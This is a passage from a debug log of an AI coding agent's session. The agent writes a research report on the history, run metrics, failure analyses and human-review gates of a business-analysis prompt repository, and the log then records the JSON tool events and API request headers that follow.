sources/*/meta.json; processed content moved to sister repo G-Ivan-A/mango-ba-ai-runtime (issue #361, pinned commit ed42b3cd0eed2774c9b080232ca00484d9a4f7cd; scripts/kb/runtime_snapshot.py).\\n- patterns/ (15) - 7 patterns: asr-ingestion, fr-generation, fr-validation, glossary-context-generation, meeting-summary-generation, usecase-generation, user-story-generation.\\n- pr-ops/ (8) - BACKLOG.md, artifact-map, migration manifest/registries, prompt-feedback.json, session digests, sync matrix.\\n- prompts/ (34) - 26 top-level prompt files (modes oneshot / stepwise / legacy) + archive/.\\n- runs/ (697 files) - 69 run directories.\\n- scripts/ (60) - validators (validate_issue_*.py, validate_all.py), generators, chat-export converters, kb/.\\n- site/ (26) - SPA (Catalog, Dashboard, Roadmap, Processes, Patterns) + password-protected report run-0060.\\n- standards/ (20) - prompt, pattern, runs-contract, evals-contract, kb, bcreq-process, prompt-debugging-process, experiment-log, cascading-context-loading, ontology, ...\\n- tools/ (5) - Hub validators (frontmatter, file naming, structure).\\n- .github/ (ISSUE_TEMPLATE incl. run Issue Forms, workflows/validate.yml CI), .archive/.\\n- Root: README.md (v2.4), CHANGELOG.md (~216 KB), CONTRIBUTING.md, Makefile (validate / validate-full), LICENSE (MIT), .hub-profile.json.\\n- Origin: spoke of Hub monorepo G-Ivan-A/hybrid-Intelligence-lab; taxonomy 13 cognitive operations x 9 BA processes (docs/taxonomy.md, commit 00d2072, issue #52).\\n\\n## 2. Runs\\nCounting method: `ls -d runs/2026/RUN-*` -> 69 directories RUN-0001..RUN-0069, contiguous, all with metadata.yaml (parsed with PyYAML).\\n- run_type: statistics 48, execution 21 (field introduced by issue #293, commit db54905).\\n- status: draft 37, works-with-edits 19, partial-success 8, success 2 (RUN-0006, RUN-0060), experimental 1, needs-rework 1 (RUN-0020), invalid 1 (RUN-0063, superseded by RUN-0064 -> RUN-0067).\\n- Metadata date range: 2026-04-10 (RUN-0027) .. 2026-09-28 (RUN-0068, RUN-0069). Git history starts 2026-06-02 -> earlier runs were fixed retroactively from chat exports.\\n- RUN-0001..0012 migrated in Phase 0 (issue #123). RUN-0030..0054 = 25 chat exports fixed by experiments/issue_309_fixate_runs.py (commit 946e605, 2026-08-22).\\n- Record structure (standards/runs-contract-standard.md): runs/YYYY/RUN-XXXX/{metadata.yaml, inputs/, outputs/, feedback/, logs/}; metrics block per issue #271 (commit 5d70a60). Field presence: metrics 56/69, feedback 56, logs 59, inputs 59, related_runs 32.\\n- Models: Qwen web chat family dominant (qwen3.5/3.6/3.7-plus, qwen3-max variants, qwen3-235b-a22b, qwen3-coder-plus, qwen3-vl-30b-a3b, qwen3.8-max-preview); claude-opus-5 x7, claude-opus-5-5 x2, claude-opus-4-8 x1 (RUN-0012), gpt-5.6-sol x4 (RUN-0062..0065); not-recorded x10. RUN-0055: qwen3.7-plus + claude-opus-5 verification.\\n- Authors: \\\"BA/AI\\\" (early) -> \\\"BA-IH + LLM\\\" -> \\\"AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" / \\\"AI issue solver (Claude Code)\\\" (RUN-0067) / \\\"OpenAI Codex\\\" (RUN-0064).\\n\\nTask categories (runs/README.md registry):\\n- prompt experiments, audits, self-tests (RUN-0001..0005);\\n- FR generation / validation / drafting for BCREQ tickets and Mango integrations (amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru);\\n- clarifying questions, meeting-transcript analysis;\\n- tender TZ feasibility assessment (Utair.Chat, STT/TTS/NLU, task-1099 telephony, BCREQ-1114);\\n- gap analysis / architecture spikes HH.ru <-> Mango CC (RUN-0056..0060);\\n- link-review statistics (RUN-0061); FR rework chain RUN-0063 -> 0064 -> 0067.\\n\\nAggregated metrics (sum over runs where field present; heterogeneous self-reported metrics, not a benchmark):\\n- hallucinations: 11 runs (RUN-0015,16,18,21,22,24-29): 41 total, 12 reached final artifacts.\\n- quality (1-5 scale): 10 runs, all = 3 except RUN-0028 = 2. RUN-0014: quality 2, defects 5, factual_distortions 1, target artifact \\\"not-produced\\\", success_rate 0.25.\\n- success_rate: 19 runs, mean ~0.67, range 0.25-1.0 (RUN-0019 0.29, RUN-0022 0.92, RUN-0058/59/60 1.0).\\n- RUN-0013 (top-level metadata): success_rate \\\"0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438 ...)\\\", tokens_input 79,405,522, tokens_output 543,180, 242 turns, 44 calendar days.\\n- ba_edits: 10 runs, 53 total. episodes: 42 runs, 1095 total.\\n- tokens_dialog_total: [REDACTED] runs ~62.1M; tokens_input: [REDACTED] runs ~60.4M; tokens_output: [REDACTED] runs ~1.96M; duration_active_s: 41 runs ~103.5 h.\\n- Other formats: RUN-0017 2,536,400 tokens / 3.04 h; RUN-0020 15.65M tokens, max context 523,249, 92.78 h wall-clock.\\n- DATA-QUALITY FLAG: RUN-0025 tokens_output/thinking (15262/6614) equal RUN-0015; RUN-0025 tokens_input 1322626 = RUN-0015 tokens_context_refeed_sum -> possible copy error.\\n- Feasibility outputs: RUN-0056 7/10 FR fully assessed, 7 critical gaps; RUN-0057 101 requirements, 64/101 = 0.63 covered, coverage_none 37, 16 vendor questions, 7 pilot spikes; RUN-0066 386 assessed: 338 yes / 34 partial / 14 no, 702 atomic citations; RUN-0068 22 reqs: 3 yes / 7 partial / 11 no / 1 empty, 20 atomic citations, template_v4_matches_over_90 = 0; RUN-0069 59 reqs: 20/15/14/10, template_v4_max_similarity 0.638.\\n\\n## 3. Evolution timeline (non-merge commits)\\nPhase 1 - Bootstrap / Hub->spoke (2026-06-02..06-05): d159ab2 audit + migration RFC; 0c10eda bootstrap; ee90e7b normalize prompts; 8deffc8 migration manifest.\\nPhase 2 - From one PDF to a standard (06-10..06-11): 3a265e6 original \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" attached (#54); d8a4759 split into 23 standardized prompts (18 new, 5 legacy, 6 archived) (#56); 00d2072 taxonomy 13 ops x 9 processes (#52); 430fe9b prompt/pattern standards; 748ff6d ADR-001.\\nPhase 3 - Methodology layer (06-13..06-16): 9eef477 GitHub Pages; 23115c6 MVP pattern library; ADR-003..010 incl. 37dc51c ADR-007 \\\"KB standard before RAG\\\" and 1885f7d ADR-009 (6 subprocesses, human gates G1-G3); 0363a44 experiment-1027 analysis (first real BA session); 2abf5e6 rollback of prompt edits to v0.1 + prompt-debugging contract (#101) - TURNING POINT: no prompt change without experiment -> RFC -> approval.\\nPhase 4 - Evidence infrastructure (06-17..06-20): 7fb2b3b BCREQ-1025 experiment + RFC; a3784c4 KB ingestion pipeline (#111); 482b316 CI regression validator; LFS PDFs; b4269ad runs/ with execution contract; c4163a1 cascading context loading.\\nLull (07-03..07-14): KB after LFS cleanup; dd20da9 RUN-0012.\\nPhase 5 - Measurement (08-17..08-22): vision correction (#263, admits no evals/golden-set); Hub re-sync (#265); e5e84d0 onboarding v1.5 + Hub validators (#267); mass fixation RUN-0013..0029 (08-21); 5d70a60 metrics contract (#271); db54905 run types (#293); 091c768 canonical root (#291); 946e605 25 chat exports -> RUN-0030..0054; ae187ca KB 4 PDFs + anti-hallucination cross-check (#310).\\nPhase 6 - Structured integration/feasibility (08-23..08-28): RUN-0055..0061; 37bb44a Issue Forms for runs (#323); 1dcca69 ADR-011 L1/L4 integration artifacts + task-taxonomy RFC (#335); 7369989 password-protected web report.\\nPhase 7 - Fail-closed citations + RCA (08-31..09-03): c4902e0 revert of a flawed L0 run; RUN-0062..0067; a661e1b citation pagination verification; 00295d5 RCA (RUN-0065 vs 0066); 3c53cbe RUN-0067 rework.\\nPhase 8 - KB externalized to runtime (09-26): cce374d, f64672c, c6471da (issue #361). 09-28: 46a7ebe RUN-0068, dba7b47 RUN-0069 (source transcription with SHA-256 + char-level validator).\\n\\n## 4. Lessons / failure modes (quotes)\\n- A/B RCA docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md (issue #353), 65 rows, gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066): verdict accuracy 31/65 = 47.7% vs 100%; page accuracy 17/45 = 37.8% vs 64/64; hallucinated pages (delta > 2) 28/65 = 43.1% vs 0%; decomposition quality 0% vs 100%. Root cause: page numbers from a hand-made EVIDENCE dictionary replicated by lexical rules; validator checked link shape, not frontmatter.\\n- docs/report/2026-09-01-kb-assessment-error-analysis.md (issue #349): RUN-0062 narrowed SSOT to 3 modules -> \\\"missing data\\\" turned into \\\"missing capability\\\"; RUN-0065 keyword heuristic; both validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\". New rules: full KB index first -> web only on trusted Mango domains -> \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" only with escalation log; atomic decomposition; technical critic.\\n- runs/2026/RUN-0064/reports/error-analysis.md (issue #345), 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1. Examples: existing functionality issued as new FR; hypothesis promoted to fact; ignored screenshot with \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\"; scope creep to access rights; flip-flop on detail rows; stopped at questions without final FR. Root cause: no gate between current state and required delta. Fix: matrix \\\"SSOT -> \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 -> \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 -> FR -> \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438\\\", fail-closed on empty source, screenshot/KB gate, decision log, two independent CBAP/eTOM passes.\\n- kb/practices/source-backed-analysis.md anti-example: \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (hallucinated standard).\\n- docs/analysis/experiment-1027-analysis.md (issue #101): hypothesis H1 \\\"\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\\\" - partially confirmed.\\n- RUN-0014: target artifact not produced, 5 defects, 1 factual distortion.\\n- Many runs explicitly marked \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (CHANGELOG); scripts/validate_issue_272_run_0019.py checks this wording.\\n- Honest gap: \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (README.md, ai-governance/ai-governance.md:90, pr-ops/BACKLOG.md:324, issue #263). standards/evals-contract-standard.md defines the form; no golden-set exists.\\n- DoD principle (governance): \\\"\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.\\\"\\n\\n## 5. Target-pipeline artifacts (mapping)\\n- Normalization of input: RUN-0068 experiments/issue_363/source_transcription.json (row text + SHA-256 per screenshot), generate_run.py copies cols 1-2 verbatim, scripts/validate_issue_363_run.py compares char-by-char (negative test \\\"\u0441\u043e\u0442\u043e\u0432\u044b\u0439\\\"->\\\"\u0441\u043e\u0442\u043e\u0432\u043e\u0439\\\" -> FAIL). ADR-011 step 1: download spec, checksum in report header; step 2: split TZ into numbered sub-items with verbatim quotes. patterns/asr-ingestion, meeting-summary-generation for transcripts.\\n- Reconciliation with documentation (KB): kb/ + runtime repo; citation format `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` pinned to runtime commit; experiments/issue_363/verify_quotes.py (0 mismatches); scripts/kb/verify_extraction.py pdfplumber vs PyMuPDF; #310 cross-check 9531 critical tokens, 0 unconfirmed + negative test experiments/kb-verify-detects-hallucination.py.\\n- Generation from templates with source links: prompts/ (26) + patterns/ (7) + standards/prompt-standard (frontmatter status/version/updated/temperature 0.1); \\\"\u0448\u0430\u0431\u043b\u043e\u043d \u0422\u0417 v4\\\" similarity check in RUN-0068/0069. NOTE: \\\"golden templates\\\" in the sense of an eval golden-set do NOT exist yet; reference artefacts are designated by ADR (RUN-0060 L4 = \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\"; RUN-0066 = reference in RCA).\\n- Human gate: ADR-009 G1 (end of P2, structure of BCREQ levels), G2 (end of P5, risk_analysis owner-review), G3 (end of P6, approval/baselining); rule B3 \\\"G1/G2/G3 \u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\". ai-rules/ai-quick-rules.md \\\"Structured = fail-closed ... \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442, \u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\". RUN-0060 outputs/human-review-checklist.md; ADR-011 \u00a74 link readability for Human Review.\\n- Translation into development format: ADR-011 two levels: L1 (1 page, customer/management, \\\"\u0434\u0435\u043b\u0430\u0435\u043c \u0438\u043b\u0438 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443\\\"; JSON/diagrams/API names forbidden) and L2/L4 (BA, SA, development: JSON, diagrams, mapping; sources table). RUN-0060 L4: 10 FR sections, 27 TZ sub-items, 11 Activity diagrams, 53 source footnotes, SHA-256 of spec. patterns/user-story-generation, usecase-generation. No explicit Jira/task-tracker export found.\\n- Validators/CI: scripts/validate_all.py, validate_issue_*.py, tools/validate-*.sh, .github/workflows/validate.yml, Makefile validate-full.\\n\\n## 6. Runtime environments\\n- GigaCode and Cline: 0 mentions in this repo (not determined from this repo; the separate working repo backlog B-219..B-222 mentions a GigaCode guide - out of scope here).\\n- Qwen web chat: RUN-0014 logs/metrics.md \\\"qwen3.7-plus (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441)\\\"; RUN-0018 feedback \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, `auto_search: true`) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\"; chat-export JSON with usage and web_search/web_extractor tool results.\\n- AI issue solver (konard / hive-mind) on GitHub issues -> PRs: Claude Code (RUN-0067), OpenAI Codex (RUN-0064; redacted trace docs/report/evidence/2026-09-01-run-0065-acb6c7bc-redacted.txt), models claude-opus-5 / 5-5, gpt-5.6-sol.\\n- Local Python scripts + Makefile + GitHub Actions CI; GitHub Pages SPA (site/).\\nEOF\\nwc -w /tmp/research-notes/mango_ba_prompts.md\",\n[2026-09-29T07:48:57.641Z] [INFO]           \"description\": \"Write full research report\"\n[2026-09-29T07:48:57.641Z] [INFO]         },\n[2026-09-29T07:48:57.641Z] [INFO]         \"caller\": {\n[2026-09-29T07:48:57.641Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:48:57.641Z] [INFO]         }\n[2026-09-29T07:48:57.641Z] [INFO]       }\n[2026-09-29T07:48:57.641Z] [INFO]     ],\n[2026-09-29T07:48:57.641Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:57.641Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_creation_input_tokens\": 1174,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_read_input_tokens\": 20685,\n[2026-09-29T07:48:57.641Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:57.641Z] [INFO]         \"ephemeral_5m_input_tokens\": 1174,\n[2026-09-29T07:48:57.641Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:57.641Z] [INFO]       },\n[2026-09-29T07:48:57.641Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:57.641Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:57.641Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:57.641Z] [INFO]     },\n[2026-09-29T07:48:57.641Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:48:57.641Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:48:57.641Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:57.641Z] [INFO]   },\n[2026-09-29T07:48:57.641Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"uuid\": \"b6e86f93-5ff0-47e9-905b-fac0722667de\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:57.608Z\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"request_id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:57.641Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:57.641Z] [INFO] }\n[2026-09-29T07:48:57.679Z] [INFO] {\n[2026-09-29T07:48:57.679Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"description\": \"Running Write full research report\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"usage\": {\n[2026-09-29T07:48:57.679Z] [INFO]     \"total_tokens\": 26205,\n[2026-09-29T07:48:57.679Z] [INFO]     \"tool_uses\": 33,\n[2026-09-29T07:48:57.679Z] [INFO]     \"duration_ms\": 275320\n[2026-09-29T07:48:57.679Z] [INFO]   },\n[2026-09-29T07:48:57.679Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"uuid\": \"df9f2151-599b-4641-af58-637e19035be9\",\n[2026-09-29T07:48:57.679Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:48:57.679Z] [INFO] }\n[2026-09-29T07:48:59.330Z] [INFO] {\n[2026-09-29T07:48:59.330Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"message\": {\n[2026-09-29T07:48:59.330Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:59.330Z] [INFO]     \"content\": [\n[2026-09-29T07:48:59.330Z] [INFO]       {\n[2026-09-29T07:48:59.330Z] [INFO]         \"tool_use_id\": \"toolu_019Ur3RZ2XnMTh4hsBiAm5pw\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"content\": \"1688 /tmp/research-notes/mango_ba_prompts.md\",\n[2026-09-29T07:48:59.330Z] [INFO]         \"is_error\": false\n[2026-09-29T07:48:59.330Z] [INFO]       }\n[2026-09-29T07:48:59.330Z] [INFO]     ]\n[2026-09-29T07:48:59.330Z] [INFO]   },\n[2026-09-29T07:48:59.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"uuid\": \"3d499958-39d7-4a14-a509-1c8f0a648a26\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:59.326Z\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:59.330Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:59.330Z] [INFO] }\n[2026-09-29T07:48:59.429Z] [STDOUT] [log_4e37b0] sending request {\n[2026-09-29T07:48:59.439Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:59.444Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:59.447Z] [STDOUT]   options: {\n[2026-09-29T07:48:59.451Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:59.466Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:48:59.474Z] [STDOUT]     body: {\n[2026-09-29T07:48:59.477Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:59.480Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:59.485Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:48:59.488Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:48:59.492Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:48:59.495Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:48:59.498Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:48:59.500Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:48:59.503Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:48:59.505Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:48:59.508Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:48:59.511Z] [STDOUT]       stream: true,\n[2026-09-29T07:48:59.513Z] [STDOUT]     },\n[2026-09-29T07:48:59.515Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:48:59.521Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:48:59.524Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:48:59.527Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:48:59.530Z] [STDOUT]       aborted: false,\n[2026-09-29T07:48:59.537Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:48:59.546Z] [STDOUT]       onabort: null,\n[2026-09-29T07:48:59.550Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:48:59.553Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:48:59.559Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:48:59.562Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:48:59.566Z] [STDOUT]     },\n[2026-09-29T07:48:59.569Z] [STDOUT]     stream: true,\n[2026-09-29T07:48:59.573Z] [STDOUT]   },\n[2026-09-29T07:48:59.575Z] [STDOUT]   headers: {\n[2026-09-29T07:48:59.577Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:59.580Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:48:59.584Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:59.587Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:48:59.590Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:59.593Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:59.596Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:59.598Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:59.600Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:59.602Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:59.606Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:48:59.609Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1659\",\n[2026-09-29T07:48:59.611Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:48:59.613Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:48:59.615Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:59.618Z] [STDOUT]     \"x-client-request-id\": \"7b035b74-e49d-48fa-8849-6f8efb5a2ce3\",\n[2026-09-29T07:48:59.621Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:59.623Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:59.626Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:59.628Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:59.631Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:59.637Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:59.641Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:59.644Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:48:59.648Z] [STDOUT]   },\n[2026-09-29T07:48:59.651Z] [STDOUT] }\n[2026-09-29T07:49:00.478Z] [STDOUT] [log_4e37b0, request-id: \"req_011CfXN2aZpWyfv3aX5Lqazv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1056ms\n[2026-09-29T07:49:00.515Z] [STDOUT] [log_4e37b0] response start {\n[2026-09-29T07:49:00.518Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:00.520Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:00.525Z] [STDOUT]   headers: {\n[2026-09-29T07:49:00.538Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:00.549Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:00.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:00.604Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:00.620Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:00.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:00.659Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:00.680Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:00.688Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": 